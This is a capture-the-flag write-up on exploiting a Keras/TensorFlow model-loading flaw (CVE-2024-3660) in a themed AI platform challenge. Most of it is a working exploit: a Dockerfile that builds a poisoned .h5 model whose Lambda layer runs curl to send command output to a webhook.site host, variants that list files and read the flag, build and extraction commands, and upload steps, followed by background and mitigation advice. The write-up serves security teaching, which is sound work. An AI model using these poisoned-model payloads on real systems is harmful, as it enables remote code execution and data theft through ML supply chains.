CyberKavach QuestCon Series: Exploiting Keras Model Deserialization (CVE-2024-3660)
Exploiting Keras Model Deserialization (CVE-2024-3660)
Welcome back to another exciting write-up in the CyberKavach QuestCon series! This time, we explore a modern AI security challenge: exploiting a vulnerable Keras/TensorFlow stack for Remote Code Execution (RCE) using a recent CVE.
Author: Aaryan Bhujang
Challenge Overview
Category: Machine Learning / AI Security
Vulnerability: Insecure Keras Model Deserialization (CVE-2024-3660)
Theme: Stranger Things AI Platform
Goal: Achieve code execution via a poisoned Keras model and retrieve the flag.
Reconnaissance: Spotting the Vulnerable Stack
Start by navigating to the app’s landing page and inspecting source code.
Use browser Developer Tools or View Page Source.
Search for tensorflow or tf. Reveal usage of tensorflow-cpu-2.12:
<!-- asset: tensorflow-cpu-2.12-cp38-manylinux.whl -->
Cross-check against CVE databases: this version is affected by CVE-2024-3660, which allows arbitrary code execution when untrusted models are deserialized using Lambda layers.
Vulnerability Background
CVE-2024-3660 arises because Keras Lambda layers (in H5 or legacy SavedModel formats) can embed marshalled Python bytecode which is unsafely executed (via marshal and func_load) upon model loading. Attackers can encode arbitrary code into a model, and environments not enforcing safe_mode=True can be compromised. This is especially dangerous in ML supply chains and public AI datasets.
Weaponizing the Exploit: Building a Malicious Model
PoC Preparation
Use the public repo aaryanbhujang/CVE-2024-3660-PoC as a reference. The goal: Build Keras .h5 models with Lambda layers that run OS commands to exfiltrate secrets.
Pin the TensorFlow/Keras environment
Use Docker to pin tensorflow-cpu-2.13.1 (for demonstration; challenge uses the vulnerable version).
Create Lambda layers to run OS commands
For exfiltration, use a webhook endpoint from
or similar.
Dockerfile Example: Build malicious model for whoami
FROM --platform=linux/amd64 python:3.8-slim
WORKDIR /code
RUN apt-get update && apt-get install -y curl wget
RUN curl -k -LO https://files.pythonhosted.org/packages/[TensorFlow_Wheel_URL]
RUN pip install ./tensorflow-cpu-2.13.1-[...].whl
RUN rm ./tensorflow-cpu-2.13.1-[...].whl && rm -rf /var/lib/apt/lists/*
RUN python3 <<EOF
import tensorflow as tf
def arbexex(x):
import os
os.system('curl https://webhook.site/uuid?exf=$(whoami)')
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(arbexex))
model.compile()
model.save('whoami.h5')
EOF
ENTRYPOINT ["/bin/bash"]
Build Payload Variants
whoami: Reveal the username running the ML app.
ls: List the project directory.
cat flag.txt: Send the flag file contents to your webhook.
The Lambda layers in each are similar; you can chain commands or keep them atomic for reliability.
Delivering the Payload: Uploading and Triggering the Model
Upload the .h5 file to the target CTF app via Import/Load Model feature.
When the backend loads and "validates" the user-supplied model, it triggers the malicious Lambda layer.
Use minimal model shapes (e.g., Input(64,)) to maximize compatibility.
Return data via HTTP requests to your webhook to avoid output formatting issues (base64 encoding can also help).
Exploit in Action: End-to-End
1. Build and extract the artifact:
docker build -t tf-keras-cve3660-whoami .
cid=$(docker create tf-keras-cve3660-whoami)
docker cp $cid:/code/whoami.h5 ./whoami.h5
docker rm -v $cid
(Repeat for ls.h5, hactf.h5 payloads)
2. Upload the model to CTF app.
3. Trigger validation or inference where Lambda executes.
4. Webhook receives exfiltrated data.
Confirm user:
curl https://webhook.site/uuid?exf=www-dataConfirm path:
curl https://webhook.site/uuid?exfls=app.py flag.txt ...Exfiltrate flag:
curl https://webhook.site/uuid?zexHACTF...REDACTED...
Technical Deep Dive: Why This Works
Keras serializes Lambda layers using marshalled Python code, which is executed upon deserialization unless stopped by safe_mode.
Deserialization pipeline:
Entry: saving_lib.load_model
Core: _model_from_config → deserialize_keras_object
Critical: _retrieve_class_or_fn instantiates Python objects from configs.
Safe mode added in TF/Keras >=2.13 blocks Lambda deserialization by default, but older stacks remain vulnerable.
Key Results and Security Lessons
Arbitrary Code Execution: Keras models with Lambda layers persist callables; loading these models executes arbitrary code.
Supply Chain Risk: Trojanized models can affect downstream users of ML datasets.
Mitigation: Always use safe_mode=True in environments where user models are loaded, and restrict Lambda layer deserialization.
Explicit Policy: Validate and sanitize uploaded models prior to loading.
Final Flag
The exfiltrated flag arrives at your webhook, for example:
questCON{kerasCVE4660hostedflag}
Summary & Real-World Impact
This challenge teaches practical AI security skills: ML model analysis, CVE implementation, supply chain awareness.
Any modern AI deployment must defend against poisoned models and untrusted ML artifacts.
Up-to-date frameworks and principle-of-least-privilege are mandatory for production security.
Congratulations to all who solved this AI/ML exploitation task and uncovered a real-world attack vector!

Comments
Post a Comment